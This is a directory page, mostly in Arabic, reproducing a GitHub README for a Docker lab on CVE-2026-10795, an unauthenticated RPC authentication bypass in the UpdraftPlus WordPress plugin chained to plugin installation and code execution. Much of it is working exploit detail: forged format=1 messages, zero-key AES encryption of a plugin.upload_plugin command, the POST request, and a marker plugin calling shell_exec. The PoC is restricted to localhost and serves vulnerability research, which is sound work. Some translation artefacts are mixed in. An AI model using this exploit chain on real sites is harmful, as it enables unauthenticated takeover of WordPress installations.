Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-10795-Lab | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مختبر CVE: CVE-2026-10795 - تجاوز مصادقة RPC في UpdraftCentral التابع لـ UpdraftPlus مقترن بتثبيت إضافات

الملخص التنفيذي

يحتوي هذا المستودع على مختبر Docker محلي لإعادة إنتاج والتحقق من CVE-2026-10795، وهي ثغرة تجاوز مصادقة لا تتطلب مصادقة مسبقة، تؤثر على إضافة UpdraftPlus في ووردبريس عبر طبقة الاتصال عن بُعد UpdraftCentral.

السلوك المعيب موجود في مسار معالجة رسائل RPC في UpdraftCentral. في الإصدارات المتأثرة، يمكن لرسالة RPC مزوّرة format=1 تجاوز التحقق من التوقيع، والتسبب في مسار فك تشفير RSA فاشل، ومع ذلك الوصول إلى فك التشفير المتماثل بسلوك مفتاح فارغ/IV فارغ قابل للتنبؤ. يسمح ذلك بقبول رسالة RPC مشفرة مصممة بعناية وتوجيهها كأمر UpdraftCentral.

يقارن هذا المختبر بين إصدارين من UpdraftPlus:

الخدمةإصدار UpdraftPlusالغرضالرابط
vuln1.26.4هدف مقارنة هشhttp://127.0.0.1:8081
patched1.26.5هدف مقارنة مُصحَّحhttp://127.0.0.1:8082

السلسلة المُوضَّحة هي:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
الثغرة الأساسية هي تجاوز المصادقة. يوضّح المختبر أنه يمكن ربط تجاوز المصادقة بتأثير من نمط RCE عندما تكون حالة مفتاح UpdraftCentral مميَّزة موجودة، لأن UpdraftCentral يعرض أوامر إدارة إضافات مشروعة يمكنها تثبيت وتفعيل إضافات WordPress.

هذه ليست ثغرة حقن أوامر مباشرة. يأتي إثبات تنفيذ التعليمات البرمجية من إساءة استخدام وظيفة تثبيت الإضافات الموثَّقة بعد تجاوز حدود مصادقة RPC.

صُمِّم هذا المختبر للبحث المحلي الخاضع للتحكم، وفهم الكود المصدري، والعرض في معرض الأعمال فقط.

## حقائق مُتحقَّقة

| الادعاء                                                                 | الدليل                                                                                               | كيفية التحقق في هذا المختبر                                      |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| إصدار UpdraftPlus 1.26.4 قابل للاستغلال في هذا المختبر.                | الخدمة القابلة للاستغلال تقبل رسالة RPC مزوَّرة بصيغة `format=1` وتُرسل `plugin.upload_plugin`.       | شغّل الأمر `python3 poc/poc.py --url http://127.0.0.1:8081`.      |
| إصدار UpdraftPlus 1.26.5 يحجب الرسالة المزوَّرة في هذا المختبر.         | الخدمة المُصحَّحة لا تُرجع نص استجابة RPC ولا تُرسل الأمر المزوَّر.                                    | شغّل الأمر `python3 poc/poc.py --url http://127.0.0.1:8082`.      |
| المشكلة هي تجاوز مصادقة في طبقة RPC الخاصة بـ UpdraftCentral.           | يمكن لطلب RPC مزوَّر غير موثَّق أن يصل إلى مرحلة إرسال الأوامر في الإصدار القابل للاستغلال.            | قارن سلوك `--ping` بين المنفذين `8081` و`8082`.                   |
| لا يقوم المختبر بتثبيت إضافة العلامة مسبقًا.                            | الإعداد يثبّت فقط WordPress وUpdraftPlus وحالة مفتاح UpdraftCentral محلية.                             | تحقق من `/wp-json/cve-lab/v1/id` قبل تشغيل الـ PoC.              |
| يثبّت الـ PoC إضافة العلامة من خلال RPC مزوَّر.                         | يرسل الـ PoC `plugin.upload_plugin` مع حمولة إضافة بصيغة ZIP في حقل بيانات RPC.                        | شغّل الـ PoC ثم اطلب `/wp-json/cve-lab/v1/id`.                   |
| يصل الهدف القابل للاستغلال إلى تأثير من نمط RCE.                       | تكشف إضافة العلامة نقطة نهاية مُرمَّزة بشكل ثابت تُرجع مخرجات `/usr/bin/id`.                          | يعيد الهدف القابل للاستغلال الناتج `uid=33(www-data) gid=33(www-data)`. |
| لا يثبّت الهدف المُصحَّح إضافة العلامة.                                 | تعيد نقطة نهاية العلامة `404 rest_no_route` على الخدمة المُصحَّحة.                                     | شغّل الـ PoC ضد `http://127.0.0.1:8082`.                          |
| يتطلب المختبر حالة مفتاح UpdraftCentral.                                | يعتمد إرسال UpdraftCentral على إدخال مفتاح محلي وبيانات وصفية مرتبطة به.                               | راجع `scripts/setup-wordpress.sh`.                                 |

## الافتراضات والمجهولات

يزرع هذا المختبر عمدًا حالة مفتاح UpdraftCentral محلية لإعادة إنتاج حالة موقع تم فيها تكوين التحكم عن بُعد.

حالة المفتاح المزروعة هي شرط مسبق للمختبر، وليست الثغرة بحد ذاتها. إنها تتيح للمختبر اختبار مسار تحليل وفك تشفير RPC القابل للاستغلال بشكل متسق.

لا يدّعي المختبر أن كل تثبيت لـ UpdraftPlus قابل للاستغلال فورًا. تعتمد السلسلة المُوضَّحة على وجود إدخال مفتاح UpdraftCentral محلي مرتبط بمستخدم WordPress ذي صلاحيات.

يُظهر المختبر تأثيرًا مُتحكمًا به من نمط RCE عن طريق تثبيت إضافة علامة تكشف نقطة نهاية إثبات مُرمَّزة بشكل ثابت `/usr/bin/id`. لا يوفر قشرة ويب عامة، أو معلمة تنفيذ أوامر عشوائية، أو قشرة عكسية، أو آلية استمرارية، أو سرقة بيانات اعتماد، أو استدعاءًا خارجيًا.

الـ PoC مقصور على الأهداف المحلية فقط ويرفض أسماء المضيفين غير المحلية افتراضيًا.

## ملخص السبب الجذري

السبب الجذري هو التحقق غير السليم من رسائل RPC الخاصة بـ UpdraftCentral في الإصدارات القابلة للاستغلال من UpdraftPlus.

يقبل تدفق RPC القابل للاستغلال رسالة `format=1`. لا يتطلب مسار `format=1` نفس التحقق من التوقيع الذي تتطلبه صيغ الرسائل الأحدث.

المشكلة على المستوى العام هي:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

في السلوك الهش، يمكن أن يُرجع فك تشفير RSA:```text false

root@kitploit:~
بدلاً من رفض نتيجة فك التشفير الفاشلة تلك، يستمر التدفق الضعيف ويمرر القيمة إلى طبقة فك التشفير المتماثل.

النمط الضعيف الفعلي هو:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

المشكلة هي أن $sym_key لا يتم التحقق منه قبل استخدامه.

عندما يكون $sym_key هو false، فإن إعداد التشفير يتبع سلوكًا متوقعًا لمفتاح null وIV null. وهذا يجعل من الممكن صياغة حمولة RPC مشفرة باستخدام مفتاح صفري معروف وIV صفري معروف.

النسخة المصححة تضيف حارسًا قبل استخدام المفتاح المتماثل:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
هذا يغيّر حدود الثقة.

قبل التصحيح:```text
failed RSA decrypt result could still reach symmetric decrypt

بعد التصحيح:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
هذا هو السبب في أن الخدمة القابلة للاستغلال ترسل أمر RPC المزوّر، بينما الخدمة المُصحّحة لا تفعل ذلك.

## لماذا يمكن أن يؤدي تجاوز المصادقة إلى تنفيذ التعليمات البرمجية

يُوصَف CVE-2026-10795 على أفضل نحو بأنه تجاوز للمصادقة لأن العيب الجذري يكمن في طبقة مصادقة RPC والتحقق من الرسائل.

ومع ذلك، بعد تجاوز حدود المصادقة هذه، يمكن لرسالة RPC التي يتحكم فيها المهاجم الوصول إلى أوامر UpdraftCentral المميزة.

أحد مسارات الأوامر المهمة هو:```text
plugin.upload_plugin

هذا الأمر جزء من وظيفة إدارة الإضافات في UpdraftCentral. يقبل حمولة ZIP للإضافة، ويكتبها في موقع مؤقت، ويقوم بتثبيت الإضافة وتفعيلها عند الطلب.

سلسلة التأثير إذن هي:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
هذا ليس حقن أوامر.

يوضح المختبر تنفيذ التعليمات البرمجية عن طريق تثبيت مكوّن إضافي للعلامات يكشف عن نقطة نهاية واحدة:```text
/wp-json/cve-lab/v1/id

لا يقبل المكوّن الإضافي marker معلمة أمر. إنه يعمل فقط:```text /usr/bin/id

root@kitploit:~
هذا يُبقي الإثبات تحت السيطرة ويتجنّب تحويل المختبر إلى قشرة ويب للأغراض العامة.

## ملخص التصحيح المصدر

سلوك التصحيح ذو الصلة هو أن الإصدار المُصحّح يرفض المفاتيح التناظرية غير الصالحة قبل محاولة فك تشفير جسم رسالة RPC.

التحقق المهم هو:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

يمنع هذا السلوك الاحتياطي القابل للاستغلال حيث يمكن أن تتحول نتيجة فك تشفير RSA الفاشلة إلى مسار مفتاح متماثل يمكن التنبؤ به.

النتيجة العملية هي:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
المختبر يتحقق أيضًا من التأثير اللاحق من خلال استهداف مسار أمر الرفع الفعلي لإضافة UpdraftCentral.

سلوك الأمر ذو الصلة هو:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

النسخة المُصححة تمنع الرسالة المزوّرة قبل الوصول إلى مسار الأمر هذا.

شرح على مستوى المصدر

يشرح هذا القسم المسار الضعيف على مستوى الكود المصدري ويُرابط كل خطوة من خطوات إثبات المفهوم (PoC) بالسلوك ذي الصلة في UpdraftPlus / UpdraftCentral.

لا يعتمد المختبر على مسار تطبيق ضعيف مزيف. يتم الوصول إلى السلوك الضعيف عبر مستمع RPC الحقيقي لـ UpdraftCentral ومسار إدارة الإضافات الحقيقي في UpdraftCentral.

مناطق المصدر المهمة هي:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### إنشاء المستمع

يبدأ مسار RPC الضعيف عندما يستقبل WordPress طلب POST يحتوي على:```text
udrpc_message
format
key_name

The RPC library registers a listener on WordPress wp_loaded when those POST fields exist.

مفهوميًا، يكون التدفق كما يلي:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
هذا يعني أن المهاجم لا يحتاج إلى معرفة نقطة نهاية REST خاصة أو عنوان URL للإدارة. يتم إرسال طلب RPC المزوّر كطلب POST عادي إلى جذر موقع ووردبريس.

يرسل الـPoC:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

الطلب يصل إلى نفس مسار المستمع المستخدم من قبل اتصال UpdraftCentral البعيد الشرعي.

مطابقة اسم المفتاح

يخزّن UpdraftCentral مفاتيح التحكم عن بُعد المحلية في خيارات WordPress. في هذا المختبر، يقوم البرنامج النصي للإعداد بزرع حالة مفتاح مضبوطة لكل من الهدفين المُعرَّض للخطر والمُصحَّح.

اسم المفتاح ذو الصلة هو:```text 0.central.updraftplus.com

root@kitploit:~
يتم إنتاج هذا التنسيق بواسطة منطق المؤشر الرئيسي الخاص بـ UpdraftCentral:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

يستمر المستمع فقط إذا تطابق حقل POST غير المشفّر مع مؤشر المفتاح المتوقع:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
لذلك يحدد الـ PoC ما يلي:```python
KEY_NAME = "0.central.updraftplus.com"

هذه ليست الثغرة الأمنية. إنها شرط مسبق للمختبر يتيح للاختبار تمرين مسار تحليل RPC وفك التشفير المعرّض للثغرة بطريقة قابلة للتكرار.

معالجة التنسيقات وتجاوز التوقيع

يدعم UpdraftCentral تنسيقات الرسائل. التمييز المهم هو:```text format=1 legacy path format=2 signed message path

root@kitploit:~
في مسار الكود المعرض للثغرات، لا يحدث التحقق من التوقيع إلا عندما يكون التنسيق أكبر من أو يساوي 2:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

لأن PoC يستخدم:```text format=1

root@kitploit:~
يتم تخطي كتلة التحقق من التوقيع هذه.

هذه هي حدود تجاوز المصادقة.

من المتوقع أن تتضمن رسالة `format=2` الشرعية توقيعًا صالحًا. رسالة `format=1` المزوّرة لا تحتاج إلى توقيع، لذا يمكن للرسالة التي يتحكم فيها المهاجم مواصلة المسار إلى فك التشفير.

### تدفق فك التشفير القابل للاستغلال

بعد التحقق من التنسيق واسم المفتاح، يقوم المستمع بفك تشفير `udrpc_message` المُرسلة.

تدفق فك التشفير القابل للاستغلال في UpdraftPlus 1.26.4 هو في الواقع:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

الخلل يقع بين هاتين العمليتين:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
إذا فشل فك تشفير RSA، يمكن أن تُرجع `$rsa->decrypt()`:```php
false

الإصدار المعرّض للخطر لا يرفض تلك القيمة قبل تمريرها إلى:```php $rij->setKey($sym_key);

root@kitploit:~
النسخة المُصححة تُصلح ذلك بإضافة التحقق:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

هذا الحارس هو التصحيح المرتبط بالأمان. يمنع نتيجة فشل فك تشفير RSA من الوصول إلى إعداد التشفير المتماثل.

لماذا يصبح false متوقعًا

السلوك القابل للاستغلال خطير لأن setKey(false) لا يفشل بأمان في مسار phpseclib هذا.

يقوم كود التشفير بحساب طول المفتاح من المفتاح المقدم:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
عندما تكون قيمة `$key` هي `false`، يتصرف `strlen(false)` كحالة مفتاح بطول صفر.

منطق طول المفتاح في Rijndael يقوم بتقريب أحجام المفاتيح الصغيرة جدًا إلى الحد الأدنى الصالح لطول المفتاح:```php
case $length <= 128:
    $this->key_length = 16;
    break;

يقوم إعداد التشفير بعد ذلك بحشو المفتاح وIV بالبايتات الصفرية:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
إذًا يمكن للمهاجم نمذجة سلوك فك التشفير الهش على النحو التالي:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

هذا هو السبب الذي يجعل الـ PoC قادرًا على تشفير أمر JSON RPC محليًا وجعل الهدف الضعيف يفك تشفيره بنجاح.

بنية الرسالة المستخدمة من قبل الـ PoC

تتوقع دالة فك التشفير الضعيفة أن تحتوي الرسالة المشفرة على:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
يبني الـ PoC هذه البنية يدويًا:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

كتلة RSA غير صالحة عمدًا:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
في UpdraftPlus 1.26.4، تتسبب كتلة RSA غير الصالحة في فشل فك تشفير RSA، لكن الفشل لا يُرفض.

في UpdraftPlus 1.26.5، تُرفض نتيجة فك التشفير الفاشلة بواسطة الحارس الجديد ولا تصل الرسالة المزورة إلى توجيه الأوامر.

### رسالة JSON RPC الداخلية

الرسالة الداخلية المشفرة هي أمر JSON عادي بنمط UpdraftCentral.

للتحقق من ping، يستخدم الـ PoC:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

بالنسبة لإثبات الهوية الافتراضي، يستخدم الـ PoC:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
يظهر `key_name` خارج الرسالة المشفرة وداخلها على حد سواء. يتحقق المستمع من تطابق الاثنين:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

لهذا السبب يجب أن يتضمن إثبات المفهوم (PoC) نفس اسم المفتاح في كلا الموضعين.

التحقق من JSON قبل الإرسال

بعد فك تشفير الرسالة، يقوم المستمع بتحليلها كـ JSON:```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
يجب أن تحتوي الرسالة على أمر صالح:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

يجب أن يحتوي أيضًا على طابع زمني:```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
يجب أن يكون الطابع الزمني ضمن نافذة إعادة التشغيل المسموح بها:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

يضبط إثبات المفهوم (PoC) بالتالي الحقل الداخلي time على الوقت الحالي.

توزيع الأوامر

بعد فك تشفير الرسالة والتحقق من صحتها، يقوم UpdraftCentral بتوزيع الأمر.

تستخدم الأوامر تنسيق بادئة:```text .

root@kitploit:~
على سبيل المثال:```text
plugin.upload_plugin

يصبح هذا:```text prefix = plugin method = upload_plugin

root@kitploit:~
يقوم المستمع باستخراج فئة الأمر من البادئة ثم يستدعي الطريقة ديناميكيًا:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

لأمر PoC:```text plugin.upload_plugin

root@kitploit:~
يستدعي المستمع:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

لهذا السبب لا يحتاج PoC إلى sink مباشر لحقن الأوامر، إذ يصل إلى أمر UpdraftCentral شرعي وذي امتيازات بعد تجاوز حدود مصادقة RPC.

سياق المستخدم وفحوصات الصلاحيات

يمكن للمستمع تعيين مستخدم WordPress الحالي من البيانات الوصفية لمفتاح UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
في هذا المختبر، يحتوي المفتاح المُزْرَع على:```text
extra_info.user_id = 1

يُحاكي ذلك مفتاح UpdraftCentral مُهيأً مرتبطًا بمستخدم المسؤول الذي تم إنشاؤه أثناء إعداد WordPress.

هذا مهم لأن مسار رفع المكوّن الإضافي يتحقق من صلاحيات WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
إذًا، التجاوز وحده يُدخل الأمر المزوّر إلى طبقة RPC. وتحدد بيانات المفتاح المزروع سياق مستخدم ووردبريس الذي يعمل الأمر في إطاره.

في هذه التجربة، يعمل الأمر في سياق المدير (admin) لأن المفتاح مرتبط بمعرّف المستخدم 1.

### مصرف رفع الإضافة

طريقة الأمر هي:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

يتوقع معالج الرفع المشترك بيانات رفع الإضافة:```text filename data activate

root@kitploit:~
يرسل الـ PoC:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

يكتب معالج الرفع محتوى ملف ZIP إلى ملف مؤقت:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
بالنسبة للرفع غير المجزأ، يتم التثبيت فورًا:```php
$install_now = true;

ثم يقوم المعالج بإنشاء مسار ZIP:```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
ويقوم بتثبيته باستخدام محدّث إضافات UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

إذا نجح التثبيت وكان activate صحيحًا، يقوم الكود بتفعيل المكوّن الإضافي المثبّت:```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
استجابة التثبيت الناجحة تحتوي على:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

المكوّن الإضافي للعلامة

يتم إنشاء المكوّن الإضافي للعلامة بواسطة PoC في الذاكرة. ولا يتم تثبيته مسبقًا بواسطة إعداد Docker.

يحتوي ملف ZIP المُنشأ على:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
يسجّل المكوّن الإضافي marker مسار REST واحدًا:```text
/wp-json/cve-lab/v1/id

تُرجع نقطة النهاية:```text lab plugin proof uid gid user id_output

root@kitploit:~
الأمر الوحيد الذي ينفّذه المكوّن الإضافي للعلامة هو أمر مُرمَّز بشكل ثابت:```php
shell_exec('/usr/bin/id 2>&1');

لا توجد معلمة cmd يتحكم فيها المستخدم.

هذا مقصود. يثبت المختبر تنفيذ كود المكوّن الإضافي مع تجنّب قشرة ويب عامة.

لماذا يُرجع الهدف المُصحَّح 404

تستقبل الخدمة المُصحَّحة نفس الطلب المزوَّر ولديها نفس حالة المفتاح المُهيَّأة بالبذرة.

الفرق هو حارس فك التشفير المُصحَّح:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
نظرًا لأن الـ PoC يوفّر عمدًا كتلة RSA غير صالحة، فإن مفتاح التشفير المتماثل الذي تم فك تشفيره غير صالح.

في UpdraftPlus 1.26.5، تتوقف الرسالة المزوّرة قبل تحليل JSON وقبل إرسال الأمر.

لذلك:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

هذا السلوك المُصحَّح يُثبت أن نتيجة المختبر تعتمد على مسار كود RPC الضعيف في UpdraftPlus، وليس على بيئة Docker التجريبية.

مطابقة PoC بالمصدر

كيف يرتبط كود PoC بالثغرة

يبدأ كود PoC برفض الأهداف غير المحلية:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
هذا يُبقي السكربت محصورًا في مُختبر Docker.

يبني الـPoC رسالة RPC الداخلية:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

إذا تم استخدام إثبات الهوية الافتراضي، يكون الأمر:```python command = "plugin.upload_plugin"

root@kitploit:~
والبيانات هي:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:

بعد ذلك، يقوم الـ PoC بتشفير JSON الداخلي باستخدام حالة الشيفرة القابلة للتنبؤ والضعيفة:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
هذا يتوافق مع النتيجة القابلة للاستغلال لتمرير `false` إلى إعداد التشفير المتماثل.

يستخدم إثبات المفهوم (PoC) عمدًا كتلة RSA غير صالحة:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

الرسالة الناتجة udrpc_message تُبنى بنفس التنسيق المسبوق بالطول الذي تتوقعه دالة فك تشفير RPC:```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
أخيرًا، يُرسل الـ PoC طلب RPC المُزوَّر:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

في الهدف المستضعف، يحتوي ردّ الخادم على نص استجابة JSON صالح بنمط RPC. تتعامل الـ PoC مع ذلك باعتباره:```text RPC DISPATCHED

root@kitploit:~
بعد الإرسال، يتحقق الـ PoC من الأثر عبر طلب نقطة النهاية المميزة:```text
GET /wp-json/cve-lab/v1/id

إذا تم تثبيت المكوّن الإضافي marker وتفعيله، تُرجع نقطة النهاية:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
تُثبت هذه المخرجات أن رسالة RPC المزورة وغير المصادق عليها وصلت إلى مسار تثبيت البرامج الإضافية المميّز، وقامت بتفعيل كود برمجي إضافي مقدم من المهاجم داخل بيئة الاختبار المحلية.

## ما الذي يثبته المختبر

يثبت هذا المختبر السلسلة التقنية التالية:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

لا يثبت المختبر أن كل تثبيت قابل للاستغلال دون متطلبات مسبقة.

المتطلب المسبق المطلوب لهذا العرض هو:```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
يُنشئ إعداد Docker هذا المتطلب الأساسي في كلا الهدفين بحيث يمكن اختبار الفرق بين السلوك القابل للاستغلال والسلوك المُصحح بشكل عادل.

## بنية المختبر

يشغّل المختبر تثبيتين معزولين من WordPress عبر Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

تستخدم خدمتا WordPress قواعد بيانات منفصلة وإصدارات منفصلة من UpdraftPlus:

الخدمات المكشوفة افتراضيًا:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
تعمل عملية الإعداد على تهيئة نفس حالة مفتاح UpdraftCentral في كلتا الخدمتين:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

يمنح هذا كلا الهدفين نفس الحالة المسبقة. الفرق في السلوك يأتي من كود UpdraftPlus الثُّغري مقابل المُصحَّح، وليس من إعداد مختبري مختلف.

المتطلبات

  • Docker Desktop أو Docker Engine
  • Docker Compose v2
  • Python 3
  • دعم البيئة الافتراضية للغة Python
  • الوصول إلى الإنترنت أثناء بناء صورة Docker
  • حزم Python المدرجة في requirements.txt

تبعيات Python:```text requests urllib3<2 pycryptodome

root@kitploit:~
The `urllib3<2` constraint avoids LibreSSL-related warnings on some macOS Python builds.

## بدء سريع

ابدأ من حالة مختبر نظيفة:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

شاهد سجلات الإعداد:```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
مؤشرات الإعداد المتوقعة:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

لم يتم توفير أي نص مصدر للترجمة في هذه الرسالة.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched

root@kitploit:~
تحقق من الخدمات قيد التشغيل:```bash
docker compose ps

أنشئ وفعّل بيئة افتراضية لـ Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
شغّل إثبات الهوية الافتراضي ضد الهدف الضعيف:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

شغّل نفس الإثبات ضد الهدف المُصحَّح:```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
يتطلب السكربت خيار `--url` عن قصد. وهذا يجبر المختبر على اختيار الهدف بشكل صريح بدلاً من مهاجمة الخدمتين تلقائيًا.

## استخدام PoC

السلوك الافتراضي:```bash
